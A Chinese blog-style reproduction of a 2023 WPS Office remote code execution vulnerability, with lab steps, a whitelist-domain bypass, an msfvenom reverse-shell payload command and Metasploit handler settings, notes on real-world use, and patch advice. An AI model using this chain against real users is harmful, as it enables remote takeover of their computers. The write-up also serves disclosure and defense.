壹 漏洞概念
WPS Office
是由北京金山办公软件股份有限公司自主研发的一款办公软件套装,可以实现办公软件最常用的文字、表格、演示、PDF 阅读等多种功能,其具有内存占用低、运行速度快、云功能多、强大插件平台支持、免费提供在线存储空间及文档模板的优点。在国内,目前几乎所有的PC
端都用到该办公软件进行日常的办公。2023年08月09日,WPS Office for Windows
爆出存在0day
漏洞,攻击者通过诱导用户打开文档中嵌入的远程链接即可触发此漏洞执行任意代码。
贰 漏洞原理及利用条件
WPS office for windows
使用了一种用于扩展Microsoft Office
功能的技术,即WebExtension
,该技术可以将第三方开发者开发的插件集成到自己的服务和功能中,本次漏洞是由于WPS
在处理WebExtension
时,未能正确的处理javascript
代码,造成了溢出RCE
(类似于之前的chrome
浏览器RCE
漏洞)。说白了,就是因为WPS
内置浏览器存在逻辑漏洞,使得攻击者可以利用该漏洞专门构造出恶意文档,受害者打开该文档并点击文档中的URL
链接或包含了超级链接的图片时,存在漏洞版本的WPS office
会通过内嵌浏览器加载该链接,接着该链接中js
脚本会通过cefQuery
调用WPS
端内API
下载文件并打开文件,进而导致恶意文件在受害者电脑上被运行。
利用条件:
受害机使用的
WPS
需要在存在漏洞的对应版本内攻击者需要在公网开启一个
web
服务,用来受害者服务其html
文件,并且其域名需要遵循http://clientweb.docer.wps.cn.{xxxxx}wps.cn
,猜测可能是使用了白名单检测,其匹配的规则为http://clientweb.docer.wps.cn.*?wps.cn
受害机需要通过
http
协议访问到攻击机,并且打开恶意构造的wps
文件
叁 适用版本
WPS Office 2023 个人版 < 11.1.0.15120
WPS Office 2019 企业版 < 11.8.2.12085
肆 复现环境说明
复现WPS Office
版本:11.1.0.12313
攻击机(kali
):192.168.73.128
受害机(Windows 10
):192.168.73.130
连通性:
kali
不能ping
通Windows10
,因为windows10
开启了防火墙:
Windows10
能ping
通kali
,与正常的业务一致需要访问外网:
伍 复现
5.1 弹窗计算器
前期准备:
- 受害机修改
host
文件,这里的host
文件域名设置只需要遵循clientweb.docer.wps.cn.{xxxxx}wps.cn
即可,但是wps.cn
域名与{xxxxx}wps.cn
域名并不存在绑定关系:
192.168.73.128 clientweb.docer.wps.cn.cloudwps.cn
- 攻击机设置
web
服务,并且将poc
文件放在当前文件夹下:
python3 -m http.server 80
安装版本为11.1.0.12313
的WPS Office
办公软件并打开攻击者发送的存在问题的poc.docx
文件,出现计算器弹窗:
然后查看kali
攻击机的web
服务响应,可以看到存在请求:
至此简单的计算器复现成功。
5.2 进一步getshell利用
首先我们还是需要设置host
文件,这里换一个新的域名,以确定其普遍性:
192.168.73.128 clientweb.docer.wps.cn.demowps.cn
修改域名后,我们需要修改poc.docx
文件,将其通过压缩工具解压,这里使用7-zip
解压工具:
修改poc\word\webExtensions
下的webExtensions1.xml
文件:
修改为:
保存后将其压缩,注意需要在poc
文件内进行压缩:
最后将poc.zip
修改为诱惑受害者点击的名字即可:
然后生成msf
马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.73.128 LPORT=4444 -f csharp > shellcode.cs
接着将shellcode.cs
的shellcode
代码,复制到1.html
中的shellcode
变量中,需要注意这里生成的是C#
的shellcode
:
攻击机在1.html
的目录下开启web
服务:
运行msf
:
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.73.128
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > run
受害者点击docx
文件:
可以看到getshell
成功:
5.3 实战中的思考
整体的利用相对较为简单,利用的方法不需要受害机设置过多的配置,只需要点击攻击者发送的文档,即可被远控,在实验中,我们需要在客户端设置host
文件绑定,但在实战中,只要购买一个遵循clientweb.docer.wps.cn.{xxxxx}wps.cn
的域名即可,其他前期操作只需要在攻击机上设置。
陆 利用Poc|Exp以及工具
利用的poc
:
存在问题的版本软件太大了,需要的私信或者评论!
柒 危害
攻击者通过诱导用户打开文档中嵌入的远程链接即可触发此漏洞执行任意代码。
捌 修复建议
官方修复方案:
参考官方通告,升级至安全版本:https://security.wps.cn/notices/35临时修复方案:
在未升级至安全版本前,建议不要用
WPS
打开来源未知的文档,更不要点击来源未知的文档中的任何链接。